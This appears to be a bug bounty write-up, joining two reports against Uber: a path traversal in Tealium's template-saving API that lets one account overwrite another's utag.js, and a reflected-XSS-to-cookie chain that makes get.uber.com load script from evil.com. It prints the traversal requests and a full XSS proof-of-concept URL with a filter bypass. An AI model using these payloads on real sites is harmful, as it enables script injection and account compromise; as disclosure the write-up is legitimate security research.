0%

TLDR

  1. Almost all of Uber’s websites are loading JS file: https://tags.tiqcdn.com/utag/uber/main/prod/utag.js
  2. I found that the content of utag.js is updating from /data/utui/data/accounts/uber/templates/main/utag.js when deploying in my.tealiumiq.com.
  3. my.tealiumiq.com has a path traversal issue, which allow hacker to change utag.js of other account, including Uber’s.
  4. This bug had beed fixed 8 months ago. Bug Bounty: $6000.

My Steps

I like asking myself some questions when hunting for bug bounty. Looking around about https://tags.tiqcdn.com/utag/uber/main/prod/utag.js, I found Uber’s websites were using a third party service offered by Tealium. I asked myself: can I modify the content of utag.js? How?

I registered two account and began my journey. WARNING: DO NOT TEST IN PRODUCTION USING TARGET ACCOUNT.

  • Post /urest/legacy/saveTemplate with profile=main%00 to get the path in server
1
2
3
4
5
POST /urest/legacy/saveTemplate?utk=044925f62222711fdfec11dc6a4e7160e053d31e1a7f4774e8 HTTP/1.1
Host: my.tealiumiq.com
<redated>

account=evilaccount&profile=main%00&type=profile&template=profile.loader&code=%2F%2F+console.log(1)%3B%0A%0Aconsole.log(1)%3B

Response

1
{ "message" : "There was an error updating this template: /data/utui/data/accounts/evilaccount/templates/main/utag.js"}

As you can see, the utag.loader template path is /data/utui/data/accounts/evilaccount/templates/main/utag.js

  • Change the requst body to update the revision.loader
1
2
3
POST /urest/legacy/saveTemplate?utk=688b137d1b8d8e884b3e1be4cd689843d0e3bc9705665f059b HTTP/1.1

account=evilaccount&profile=main%00&type=revision&template=revision.loader&code=thisisatest&revision=201804081230

Response

1
{ "message" : "There was an error updating this template: /data/utui/data/accounts/evilaccount/templates/main/201804081230/utag.js"}

As you can see 201804081230 is appearing at the path. After testing, I found that I can insert ../ into this path, which means that I can change utag.js of any account, including Uber’s.

1
2
3
4
POST /urest/legacy/saveTemplate?utk=688b137d1b8d8e884b3e1be4cd689843d0e3bc9705665f059b HTTP/1.1
...

account=evilaccount&profile=main&type=revision&template=revision.loader&code=thisisatest&revision=201804081230/../../../../<victimaccount>/templates/main

This write up is about part of my latest XSS report to Uber@hackerone. Sorry for my poor English first of all, I will try my best to explain this XSS problem throughly.

JSONP Request

Several months ago, when enjoying my Spring Festival Holiday at home, I decided to do something interesting, so I started hunting for a bug. I like searching in the chrome dev tools. This time my lucky word was jsonp, and my target domain was https://get.uber.com. Let’s look at what I had found at that time.

1
2
3
4
5
6
7
8
idrCall: function() {
var a, b;
return this.idrCallPending ? void 0 : (this.log("making idr call"),
a = this.rfiServer ? this.rfiServer : "a.rfihub.com",
b = this.getProtocol() + "//" + a + "/idr.js",
this.jsonpGet(b, {}, this.idrCallback, "cmZpSWRJbkNhY2hl"),
this.idrCallPending = !0)
},

Nothing suspicious? Not! When came cross these lines of code, I was thinking about whether the value of this.rfiServer could be controlled by me. If yes, we can force the browser to load arbitrary javascript file. To understand this, you should know the essence of JSONP. The next step was searching everything about rfiServer.

After reading through these lines of code:

1
2
a = this.readCookie("_rfiServer"),
null != a && this.setRfiServer(a),

We could get the information that the initial value of this.rfiServer was set by using value of cookie _rfiServer if exists. Now the problem became how we can set cookie of Uber sites? But how? Here was the options in my mind at that time:

  • HTTP Header CRLF Injection at any subdomain of uber.com
  • XSS at any subdomain of uber.com

What? We need to find a bug to trigger another bug. And why any subdomain of uber.com?

Any subdomain of uber.com can set cookie with domain .uber.com to be used across subdomains. For instance, we can set cookie in xxx.uber.com using following code, then get.uber.com will use the cookie value.

1
document.cookie = '_rfiServer=evil.com;domain=.uber.com;expires=Sat, 27 Jan 2018 01:43:57 GMT;path=/'

XSS of .uber.com which is Out of Scope

I did really find out one reflected XSS in one of Uber’s subdomain using search engine. Let’s call the domain <redacted>.uber.com for demo.

  1. " is reflected and not encoded. We can inject any attribution into input tag.
  2. type="text" is after the injection point. So we can inject type="image" src="1" onerror="alert(1)". Note that when there is two types, the second one will be ignored.
  3. > is removed!!! This can be used to bypass Chrome XSS Auditor. How? o>nerror.

Summary

  1. Use reflected XSS of <redacted>.uber.com to set the value of _rfiServer cookie to evil.com
  2. Visit get.uber.com, JSONP request to https://evil.com/idr.js, XSS of get.uber.com is done.
  3. The final PoC

    1
    2
    3
    https://<redacted>.uber.com/<redacted>?
    email=aaa"%20type%3d"image"%20src%3d1%20o>nerror%3d"eval(decodeURIComponent(location.hash.substr(1)))
    #document.cookie='_rfiServer=evil.com;domain=.uber.com;expires=Sat, 27 Jan 2999 01:43:57 GMT;path=/';location.href="https://get.uber.com";
  4. Thanks for Uber. Reward: 5k